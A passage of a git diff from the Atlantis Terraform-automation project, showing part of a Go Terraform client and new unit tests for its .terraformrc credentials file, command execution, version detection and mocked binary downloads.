+ for _, validCmd := range LogStreamingValidCmds { + if validCmd == cmd { + return true + } + } + return false +} + +func getVersion(tfBinary string, binName string) (*version.Version, error) { + versionOutBytes, err := exec.Command(tfBinary, "version").Output() // #nosec + versionOutput := string(versionOutBytes) + if err != nil { + return nil, errors.Wrapf(err, "running %s version: %s", binName, versionOutput) + } + match := versionRegex.FindStringSubmatch(versionOutput) + if len(match) <= 1 { + return nil, fmt.Errorf("could not parse %s version from %s", binName, versionOutput) + } + return version.NewVersion(match[1]) +} + +// rcFileContents is a format string to be used with Sprintf that can be used +// to generate the contents of a ~/.terraformrc file for authenticating with +// Terraform Enterprise. +var rcFileContents = `credentials "%s" { + token = %q +}` diff --git a/server/core/terraform/tfclient/terraform_client_internal_test.go b/server/core/terraform/tfclient/terraform_client_internal_test.go new file mode 100644 index 0000000000..9cde70e399 --- /dev/null +++ b/server/core/terraform/tfclient/terraform_client_internal_test.go @@ -0,0 +1,421 @@ +package tfclient + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + version "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" + "github.com/runatlantis/atlantis/server/core/terraform" + terraform_mocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + logmocks "github.com/runatlantis/atlantis/server/logging/mocks" + . "github.com/runatlantis/atlantis/testing" +) + +// Test that we write the file as expected +func TestGenerateRCFile_WritesFile(t *testing.T) { + tmp := t.TempDir() + + err := generateRCFile("token", "hostname", tmp) + Ok(t, err) + + expContents := `credentials "hostname" { + token = "token" +}` + actContents, err := os.ReadFile(filepath.Join(tmp, ".terraformrc")) + Ok(t, err) + Equals(t, expContents, string(actContents)) +} + +// Test that if the file already exists and its contents will be modified if +// we write our config that we error out. +func TestGenerateRCFile_WillNotOverwrite(t *testing.T) { + tmp := t.TempDir() + + rcFile := filepath.Join(tmp, ".terraformrc") + err := os.WriteFile(rcFile, []byte("contents"), 0600) + Ok(t, err) + + actErr := generateRCFile("token", "hostname", tmp) + expErr := fmt.Sprintf("can't write TFE token to %s because that file has contents that would be overwritten", tmp+"/.terraformrc") + ErrEquals(t, expErr, actErr) +} + +// Test that if the file already exists and its contents will NOT be modified if +// we write our config that we don't error. +func TestGenerateRCFile_NoErrIfContentsSame(t *testing.T) { + tmp := t.TempDir() + + rcFile := filepath.Join(tmp, ".terraformrc") + contents := `credentials "app.terraform.io" { + token = "token" +}` + err := os.WriteFile(rcFile, []byte(contents), 0600) + Ok(t, err) + + err = generateRCFile("token", "app.terraform.io", tmp) + Ok(t, err) +} + +// Test that if we can't read the existing file to see if the contents will be +// the same that we just error out. +func TestGenerateRCFile_ErrIfCannotRead(t *testing.T) { + tmp := t.TempDir() + + rcFile := filepath.Join(tmp, ".terraformrc") + err := os.WriteFile(rcFile, []byte("can't see me!"), 0000) + Ok(t, err) + + expErr := fmt.Sprintf("trying to read %s to ensure we're not overwriting it: open %s: permission denied", rcFile, rcFile) + actErr := generateRCFile("token", "hostname", tmp) + ErrEquals(t, expErr, actErr) +} + +// Test that if we can't write, we error out. +func TestGenerateRCFile_ErrIfCannotWrite(t *testing.T) { + rcFile := "/this/dir/does/not/exist/.terraformrc" + expErr := fmt.Sprintf("writing generated .terraformrc file with TFE token to %s: open %s: no such file or directory", rcFile, rcFile) + actErr := generateRCFile("token", "hostname", "/this/dir/does/not/exist") + ErrEquals(t, expErr, actErr) +} + +// Test that it executes with the expected env vars. +func TestDefaultClient_RunCommandWithVersion_EnvVars(t *testing.T) { + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logging.NewNoopLogger(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "echo", + usePluginCache: true, + projectCmdOutputHandler: projectCmdOutputHandler, + } + + args := []string{ + "TF_IN_AUTOMATION=$TF_IN_AUTOMATION", + "TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR", + "WORKSPACE=$WORKSPACE", + "ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION", + "DIR=$DIR", + } + customEnvVars := map[string]string{} + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + out, err := client.RunCommandWithVersion(ctx, tmp, args, customEnvVars, distribution, nil, "workspace") + Ok(t, err) + exp := fmt.Sprintf("TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s\n", tmp, tmp) + Equals(t, exp, out) +} + +// Test that it returns an error on error. +func TestDefaultClient_RunCommandWithVersion_Error(t *testing.T) { + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logging.NewNoopLogger(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "echo", + projectCmdOutputHandler: projectCmdOutputHandler, + } + + args := []string{ + "dying", + "&&", + "exit", + "1", + } + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + out, err := client.RunCommandWithVersion(ctx, tmp, args, map[string]string{}, distribution, nil, "workspace") + ErrEquals(t, fmt.Sprintf(`running 'echo dying && exit 1' in '%s': exit status 1`, tmp), err) + // Test that we still get our output. + Equals(t, "dying\n", out) +} + +func TestDefaultClient_RunCommandAsync_Success(t *testing.T) { + RegisterMockTestingT(t) + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logmocks.NewMockSimpleLogging() + When(logger.With(Any[string](), Any[interface{}]())).ThenReturn(logger) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "echo", + usePluginCache: true, + projectCmdOutputHandler: projectCmdOutputHandler, + } + + args := []string{ + "TF_IN_AUTOMATION=$TF_IN_AUTOMATION", + "TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR", + "WORKSPACE=$WORKSPACE", + "ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION", + "DIR=$DIR", + } + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + _, outCh := client.RunCommandAsync(ctx, tmp, args, map[string]string{}, distribution, nil, "workspace") + + out, err := waitCh(outCh) + Ok(t, err) + exp := fmt.Sprintf("TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s", tmp, tmp) + Equals(t, exp, out) + + logger.VerifyWasCalledOnce().With(Eq("duration"), Any[interface{}]()) +} + +func TestDefaultClient_RunCommandAsync_BigOutput(t *testing.T) { + RegisterMockTestingT(t) + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logmocks.NewMockSimpleLogging() + When(logger.With(Any[string](), Any[interface{}]())).ThenReturn(logger) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "cat", + projectCmdOutputHandler: projectCmdOutputHandler, + } + filename := filepath.Join(tmp, "data") + f, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + Ok(t, err) + + var exp string + for i := 0; i < 1024; i++ { + s := strings.Repeat("0", 10) + "\n" + exp += s + _, err = f.WriteString(s) + Ok(t, err) + } + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + _, outCh := client.RunCommandAsync(ctx, tmp, []string{filename}, map[string]string{}, distribution, nil, "workspace") + + out, err := waitCh(outCh) + Ok(t, err) + Equals(t, strings.TrimRight(exp, "\n"), out) + + logger.VerifyWasCalledOnce().With(Eq("duration"), Any[interface{}]()) +} + +func TestDefaultClient_RunCommandAsync_StderrOutput(t *testing.T) { + RegisterMockTestingT(t) + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logmocks.NewMockSimpleLogging() + When(logger.With(Any[string](), Any[interface{}]())).ThenReturn(logger) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "echo", + projectCmdOutputHandler: projectCmdOutputHandler, + } + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + _, outCh := client.RunCommandAsync(ctx, tmp, []string{"stderr", ">&2"}, map[string]string{}, distribution, nil, "workspace") + + out, err := waitCh(outCh) + Ok(t, err) + Equals(t, "stderr", out) + + logger.VerifyWasCalledOnce().With(Eq("duration"), Any[interface{}]()) +} + +func TestDefaultClient_RunCommandAsync_ExitOne(t *testing.T) { + RegisterMockTestingT(t) + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logmocks.NewMockSimpleLogging() + When(logger.With(Any[string](), Any[interface{}]())).ThenReturn(logger) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "echo", + projectCmdOutputHandler: projectCmdOutputHandler, + } + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + _, outCh := client.RunCommandAsync(ctx, tmp, []string{"dying", "&&", "exit", "1"}, map[string]string{}, distribution, nil, "workspace") + + out, err := waitCh(outCh) + ErrEquals(t, fmt.Sprintf(`running 'sh -c' 'echo dying && exit 1' in '%s': exit status 1`, tmp), err) + // Test that we still get our output. + Equals(t, "dying", out) + + logger.VerifyWasCalledOnce().With(Eq("duration"), Any[interface{}]()) +} + +func TestDefaultClient_RunCommandAsync_Input(t *testing.T) { + RegisterMockTestingT(t) + v, err := version.NewVersion("0.11.11") + Ok(t, err) + tmp := t.TempDir() + logger := logmocks.NewMockSimpleLogging() + When(logger.With(Any[string](), Any[interface{}]())).ThenReturn(logger) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + client := &DefaultClient{ + defaultVersion: v, + terraformPluginCacheDir: tmp, + overrideTF: "read", + projectCmdOutputHandler: projectCmdOutputHandler, + } + + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + inCh, outCh := client.RunCommandAsync(ctx, tmp, []string{"a", "&&", "echo", "$a"}, map[string]string{}, distribution, nil, "workspace") + inCh <- "echo me\n" + + out, err := waitCh(outCh) + Ok(t, err) + Equals(t, "echo me", out) + + logger.VerifyWasCalledOnce().With(Eq("duration"), Any[interface{}]()) +} + +func waitCh(ch <-chan runtimemodels.Line) (string, error) { + var ls []string + for line := range ch { + if line.Err != nil { + return strings.Join(ls, "\n"), line.Err + } + ls = append(ls, line.Line) + } + return strings.Join(ls, "\n"), nil +} diff --git a/server/core/terraform/tfclient/terraform_client_test.go b/server/core/terraform/tfclient/terraform_client_test.go new file mode 100644 index 0000000000..50afd698a7 --- /dev/null +++ b/server/core/terraform/tfclient/terraform_client_test.go @@ -0,0 +1,577 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package tfclient_test + +import ( + "context" + "fmt" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" + + version "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/cmd" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + "github.com/runatlantis/atlantis/server/core/terraform/tfclient" + "github.com/runatlantis/atlantis/server/events/command" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestMustConstraint_PanicsOnBadConstraint(t *testing.T) { + t.Log("MustConstraint should panic on a bad constraint") + defer func() { + if r := recover(); r == nil { + t.Errorf("The code did not panic") + } + }() + + tfclient.MustConstraint("invalid constraint") +} + +func TestMustConstraint(t *testing.T) { + t.Log("MustConstraint should return the constrain") + c := tfclient.MustConstraint(">0.1") + expectedConstraint, err := version.NewConstraint(">0.1") + Ok(t, err) + Equals(t, expectedConstraint.String(), c.String()) +} + +// Test that if terraform is in path and we're not setting the default-tf flag, +// that we use that version as our default version. +func TestNewClient_LocalTFOnly(t *testing.T) { + fakeBinOut := `Terraform v0.11.10 + +Your version of Terraform is out of date! The latest version +is 0.11.13. You can update by downloading from developer.hashicorp.com/terraform/downloads +` + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + } + + logger := logging.NewNoopLogger(t) + + // We're testing this by adding our own "fake" terraform binary to path that + // outputs what would normally come from terraform version. + err := os.WriteFile(filepath.Join(tmp, "terraform"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0700) // #nosec G306 + Ok(t, err) + defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + Ok(t, err) + + Ok(t, err) + Equals(t, "0.11.10", c.DefaultVersion().String()) + + output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{"test": "123"}, distribution, nil, "") + Ok(t, err) + Equals(t, fakeBinOut+"\n", output) +} + +// Test that if terraform is in path and the default-tf flag is set to the +// same version that we don't download anything. +func TestNewClient_LocalTFMatchesFlag(t *testing.T) { + fakeBinOut := `Terraform v0.11.10 + +Your version of Terraform is out of date! The latest version +is 0.11.13. You can update by downloading from developer.hashicorp.com/terraform/downloads +` + logger := logging.NewNoopLogger(t) + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + } + + // We're testing this by adding our own "fake" terraform binary to path that + // outputs what would normally come from terraform version. + err := os.WriteFile(filepath.Join(tmp, "terraform"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0700) // #nosec G306 + Ok(t, err) + defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + Ok(t, err) + + Ok(t, err) + Equals(t, "0.11.10", c.DefaultVersion().String()) + + output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") + Ok(t, err) + Equals(t, fakeBinOut+"\n", output) +} + +// Test that if terraform is not in PATH and we didn't set the default-tf flag +// that we error. +func TestNewClient_NoTF(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + // Set PATH to only include our empty directory. + defer tempSetEnv(t, "PATH", tmp)() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + _, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + ErrEquals(t, "terraform not found in $PATH. Set --default-tf-version or download terraform from https://developer.hashicorp.com/terraform/downloads", err) +} + +// Test that if the default-tf flag is set and that binary is in our PATH +// that we use it. +func TestNewClient_DefaultTFFlagInPath(t *testing.T) { + fakeBinOut := "Terraform v0.11.10\n" + logger := logging.NewNoopLogger(t) + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + } + + // We're testing this by adding our own "fake" terraform binary to path that + // outputs what would normally come from terraform version. + err := os.WriteFile(filepath.Join(tmp, "terraform0.11.10"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0700) // #nosec G306 + Ok(t, err) + defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, false, true, projectCmdOutputHandler) + Ok(t, err) + + Ok(t, err) + Equals(t, "0.11.10", c.DefaultVersion().String()) + + output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") + Ok(t, err) + Equals(t, fakeBinOut+"\n", output) +} + +// Test that if the default-tf flag is set and that binary is in our download +// bin dir that we use it. +func TestNewClient_DefaultTFFlagInBinDir(t *testing.T) { + fakeBinOut := "Terraform v0.11.10\n" + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + } + + // Add our fake binary to {datadir}/bin/terraform{version}. + err := os.WriteFile(filepath.Join(binDir, "terraform0.11.10"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0700) // #nosec G306 + Ok(t, err) + defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + c, err := tfclient.NewClient(logging.NewNoopLogger(t), distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + Ok(t, err) + + Ok(t, err) + Equals(t, "0.11.10", c.DefaultVersion().String()) + + output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") + Ok(t, err) + Equals(t, fakeBinOut+"\n", output) +} + +// Test that if we don't have that version of TF that we download it. +func TestNewClient_DefaultTFFlagDownload(t *testing.T) { + RegisterMockTestingT(t) + logger := logging.NewNoopLogger(t) + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + } + + // Set PATH to empty so there's no TF available. + orig := os.Getenv("PATH") + defer tempSetEnv(t, "PATH", "")() + + mockDownloader := mocks.NewMockDownloader() + When(mockDownloader.Install(Any[context.Context](), Any[string](), Any[string](), Any[*version.Version]())).Then(func(params []Param) ReturnValues { + binPath := filepath.Join(params[1].(string), "terraform0.11.10") + err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v0.11.10\n'"), 0700) // #nosec G306 + return []ReturnValue{binPath, err} + }) + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + Ok(t, err) + + Ok(t, err) + Equals(t, "0.11.10", c.DefaultVersion().String()) + + mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, version.Must(version.NewVersion("0.11.10"))) + + // Reset PATH so that it has sh. + Ok(t, os.Setenv("PATH", orig)) + + output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") + Ok(t, err) + Equals(t, "\nTerraform v0.11.10\n\n", output) +} + +// Test that we get an error if the terraform version flag is malformed. +func TestNewClient_BadVersion(t *testing.T) { + logger := logging.NewNoopLogger(t) + _, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + _, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "malformed", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + ErrEquals(t, "Malformed version: malformed", err) +} + +// Test that if we run a command with a version we don't have, we download it. +func TestRunCommandWithVersion_DLsTF(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + tmp, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "default", + RepoRelDir: ".", + } + + v, err := version.NewVersion("99.99.99") + Ok(t, err) + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + // Set up our mock downloader to write a fake tf binary when it's called. + When(mockDownloader.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)).Then(func(params []Param) ReturnValues { + binPath := filepath.Join(params[1].(string), "terraform99.99.99") + err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0700) // #nosec G306 + return []ReturnValue{binPath, err} + }) + + c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + Ok(t, err) + Equals(t, "0.11.10", c.DefaultVersion().String()) + + output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, v, "") + + Assert(t, err == nil, "err: %s: %s", err, output) + Equals(t, "\nTerraform v99.99.99\n\n", output) +} + +// Test that EnsureVersion downloads terraform. +func TestEnsureVersion_downloaded(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + _, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + downloadsAllowed := true + c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler) + Ok(t, err) + + Equals(t, "0.11.10", c.DefaultVersion().String()) + + v, err := version.NewVersion("99.99.99") + Ok(t, err) + + When(mockDownloader.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)).Then(func(params []Param) ReturnValues { + binPath := filepath.Join(params[1].(string), "terraform99.99.99") + err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0700) // #nosec G306 + return []ReturnValue{binPath, err} + }) + + err = c.EnsureVersion(logger, distribution, v) + + Ok(t, err) + + mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v) +} + +// Test that EnsureVersion downloads terraform from a custom URL. +func TestEnsureVersion_downloaded_customURL(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + _, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + downloadsAllowed := true + customURL := "http://releases.example.com" + + c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, customURL, downloadsAllowed, true, projectCmdOutputHandler) + Ok(t, err) + + Equals(t, "0.11.10", c.DefaultVersion().String()) + + v, err := version.NewVersion("99.99.99") + Ok(t, err) + + When(mockDownloader.Install(context.Background(), binDir, customURL, v)).Then(func(params []Param) ReturnValues { + binPath := filepath.Join(params[1].(string), "terraform99.99.99") + err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0700) // #nosec G306 + return []ReturnValue{binPath, err} + }) + + err = c.EnsureVersion(logger, distribution, v) + + Ok(t, err) + + mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, customURL, v) +} + +// Test that EnsureVersion throws an error when downloads are disabled +func TestEnsureVersion_downloaded_downloadingDisabled(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + _, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + downloadsAllowed := false + c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler) + Ok(t, err) + + Equals(t, "0.11.10", c.DefaultVersion().String()) + + v, err := version.NewVersion("99.99.99") + Ok(t, err) + + err = c.EnsureVersion(logger, distribution, v) + ErrContains(t, "could not find terraform version", err) + ErrContains(t, "downloads are disabled", err) + mockDownloader.VerifyWasCalled(Never()) +} + +// tempSetEnv sets env var key to value. It returns a function that when called +// will reset the env var to its original value. +func tempSetEnv(t *testing.T, key string, value string) func() { + orig := os.Getenv(key) + Ok(t, os.Setenv(key, value)) + return func() { os.Setenv(key, orig) } +} + +// returns parent, bindir, cachedir +func mkSubDirs(t *testing.T) (string, string, string) { + tmp := t.TempDir() + binDir := filepath.Join(tmp, "bin") + err := os.MkdirAll(binDir, 0700) + Ok(t, err) + + cachedir := filepath.Join(tmp, "plugin-cache") + err = os.MkdirAll(cachedir, 0700) + Ok(t, err) + + return tmp, binDir, cachedir +} + +// If TF downloads are disabled, test that terraform version is used when specified in terraform configuration only if an exact version +func TestDefaultProjectCommandBuilder_TerraformVersion(t *testing.T) { + // For the 